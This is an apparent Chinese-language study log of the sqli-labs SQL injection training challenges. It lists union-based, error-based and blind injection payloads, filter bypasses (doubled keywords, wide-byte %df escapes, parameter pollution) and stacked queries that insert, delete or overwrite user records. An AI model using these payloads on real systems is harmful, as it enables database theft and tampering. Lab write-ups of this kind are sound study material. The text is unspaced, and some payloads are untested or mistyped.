id=1')orderby3--+库名id=-1')unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面的类似,不多重复
进阶,将原来拼接的单引号改为双引号,再拼接'()'
id=1")orderby3--+库名id=-1")unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面的类似,不多重复
id=1orderby3--+库名id=-1unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+表名id=-1unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='ctftraining'--+列名id=-1unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema='ctftraining'andtable_name='flag'--+flagid=-1unionselect1,2,flagfromctftraining.flag--+布尔盲注Less-5没有任何回显,输入单引号报错,拼接语句应有单引号
这里使用Python脚本进行猜解
**进阶,这里拼接语句将单引号改为双引号脚本如上
和Less-5一样放一个比较好的脚本库名
放个脚本,输入结果随机,很奇怪
这里就是加了个括号,脚本里添加就行,不放脚本了
不过很奇怪的是,Less-28同样的payload却没有报错
写脚本猜解
**进阶,将拼接语句的单引号改为双引号
放出Python脚本,这里需要每个库的查
这个是以POST方式传参,找到注入点,是在password处
1'andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))#长度有限制,可以通过limit调整一下
1'andextractvalue('1',concat('~',(selectgroup_concat(table_name)frominformation_schema.tables)))#列名1'andextractvalue('1',concat('~',(selectgroup_concat(column_name)frominformation_schema.columns)))#flag1'andextractvalue('1',concat('~',(selectflagfromctftraining.flag)))#这里长度受到限制,使用limit获取全部信息
**进阶,将拼接语句的单引号改成双引号,再添加了一个'()'
1")andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata))#后面类似,不再重复
进阶,拼接语句添加了一个'()'
这是sql的查询语句
@$sql="SELECTusername,passwordFROMusersWHEREusername=('$uname')andpassword=('$passwd')LIMIT0,1";库名1')andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and('后面类似,不再重复
进阶,这里拼接语句为双引号,没有'()'
sql查询语句与上面类似
1"andextractvalue('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and"后面类似,不再重复
进阶,这里用的是updatexml报错注入,这里的长度也会受到限制
1'andupdatexml('1',concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)),'1')#后面的类似,不再重复
进阶,过滤了所有的注释
这里可以通过闭合后面的语句,不通过注释的方法
1'andextractvalue(1,concat('~',(selectgroup_concat(schema_name)frominformation_schema.schemata)))and'1'='1后面的类似,不再重复
进阶,这里过滤了or和and
因为这里用到了preg_replace函数,所以通过双写的方式进行注入。要注意的是在information和password中存在or,所以也应该进行双写进行绕过若非一次性过滤,就可以考虑一些变形:
1'aandndextractvalue(1,concat('~',(selectgroup_concat(schema_name)frominfoorrmation_schema.schemata)))--+也可以通过联合注入的方式注入
这里过滤了很多东西,过滤了'#','*','or','and','--','','/',空格
因为过滤了空格,只好用报错注入,因为空格少,并且可以用'()'代替空格,or和and可以分别用'||','&&'。实验了一下,双写也是可以绕过的,中间可以不需要空格
1'||(extractvalue(1,concat('~',(select(group_concat(schema_name))from(infoorrmation_schema.schemata)))||'1'='1表名1'||(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.schemata)where(table_schema='ctftraining'))))))||'1'='1列名1'||(extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='ctftraining')anandd(table_name='flag')))))||'1'='1不过有些地方的双写不能绕过过滤,暂时不清楚原因
这里过滤了'\*','--','#',空格,'union','select','UNION','SELECT','Union','Select'
过滤的比较多,用报错注入
1'and(extractvalue(1,concat('~',(SElect(group_concat(schema_name))from(information_schema.schemata)))))and'1'='1这里的and不能用&&替代,离谱。后面的类似,就不再重复了
UPDATEusersSETpasswd="New_Pass"WHEREusername='admin'#'ANDpassword='也就相当于执行了
UPDATEusersSETpasswd="New_Pass"WHEREusername='admin'#修改的账号就变为了admin的账号
这里先讲一下,服务器端有两个部分:第一部分为tomcat为引擎的jsp型服务器,第二部分为apache为引擎的php服务器,真正提供web服务的是php服务器。工作流程为:client访问服务器,能直接访问到tomcat服务器,然后tomcat服务器再向apache服务器请求数据。数据返回路径则相反。apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。
通俗一点就是前面的参数在tomcat服务器出做数据过滤和处理,类似于一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP。
所以这里可以传两个参数,一个绕过WAF,后面一个用于攻击
id=1&id=-1'unionselectdatabase()--+后面就是最简单的注入了
这里的原因和上面相同,区别是这道题没有回显,且闭合符号是双引号
脚本如下:
脚本与上面类似,修改一下即可
源码中写了一个check_addslashes()函数对一些字符进行转义
functioncheck_addslashes($string){$string=preg_replace('/'.preg_quote('\\').'/',"\\\\\\",$string);//escapeanybackslash$string=preg_replace('/\'/i','\\\'',$string);//escapesinglequotewithabackslash$string=preg_replace('/\"/',"\\\"",$string);//escapedoublequotewithabackslashreturn$string;}因为这里使用的是gbk编码,所以可以在转义的字符前加上%df,就可以跳出转义限制
-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面类似就不再重复
这道题与上道题一样,转义函数的源码不一样
所以和上道题一样的payload,不再重复
这题使用的POST的方式提交的,因为POST不像GET方式会自动对url进行转码,所以payload和之前不一样,这里用到的是'UTF-8'转为'UTF-16'的方式,不过暂时还没有搞懂
-1'unionselect1,group_concat(schema_name)frominformation_schema.schemata#后面就不再重复了
这题是数字型的注入,所以不存在单引号完全可以绕过转义函数,所以可以直接进行注入且没有任何过滤
这题的转义函数换了一个,变成了mysql_real_escape_string(),意思差不多
-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+后面不再重复
还是换汤不换药,换了个函数,意思还是一样的
-1%df'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+不再重复
这里最关键的是mysqli_multi_query()这个函数,它可以执行一个或多个对数据库的查询,用分号隔开
这里后面的语句好像不可以爆数据,那就执行插入操作
-1'unionselect1,2,group_concat(username)fromusers;insertintousersvalues(18,'zeng','zeng')--+
这道题是数字型的,payload和上面一样
不再重复了
这道题写的布尔盲注,不过貌似都可以,那就按它的来。它的闭合语句是单引号+'()'
Python脚本如下,插入'zeng1'
这道题是数字型的注入,脚本一样,不再重复了
这道题在username处不报错,在password处报错,所以可以在password处注入
这里我们删除一个字段
1';deletefromuserswhereusername='zeng'--+
这里拼接语句加了括号,其他一样,就不再重复了
这题的拼接语句为:
$sql="SELECT*FROMusersORDERBY$id";所以联合注入一些和堆叠注入用不了,只能使用报错注入
1andextractvalue(1,concat(0x7e,(selectgroup_concat(schema_name)frominformation_schema.schemata)))--+后面不再重复
这道题拼接语句多了单引号,其它一样
payload和上面差不多不再重复了
rand函数的布尔盲注
rand(left((selectgroup_concat(schema_name)frominformation_schema.schemata),1)='i')--+脚本还没有成功,先放着
这道题是字符型的注入,和上题一样
这道题是数字型+堆叠注入,插入数据试一下
1;insertintousersvalues(9,'zeng','zeng')--+
**这道题是字符型的注入,payload和上面类似,就不再重复了
这道题可以插入数据,也可以布尔盲注,和上面一样,不知道在考什么
布尔盲注插入数据
这道题是字符型的,其它和上面一样
这道题是字符型注入,只不过被限制了注入次数
-1'unionselect1,2,group_concat(schema_name)frominformation_schema.schemata--+表名-1'unionselect1,2,group_concat(table_name)frominformation_schema.tableswheretable_schema='challenges'--+字段名-1'unionselect1,2,group_concat(column_name)frominformation_schema.columnswheretable_schema='challenges'andtable_nam='354H7B3C3G'--+密码-1'unionselect1,2,secret_EPGPfromchallenges.354H7B3C3G--+Less-55这题是数字型的,并且闭合语句加了'()',其它和上面一样,不再重复了
这题是字符型的,和上面一样,不再重复
这题闭合语句是双引号,不再重复
这题很特殊,它把所有用户名都放在了一个数组中
if($row){ echo'
"; echo'YourPassword:'.$pass[$row['id']]; echo"";}所以一般的联合注入不行,这题用报错注入,不再重复
这题是数字型的,其它没区别,不再重复
这题闭合符号位双引号,其它没区别,不再重复
这题闭合符号位单引号再嵌套两个括号,其它一样不再重复
这题是盲注且闭合语句为单引号+'()',不存在过滤,但是因为存在注入次数限制,最好用二分法查询最快,脚本就不放了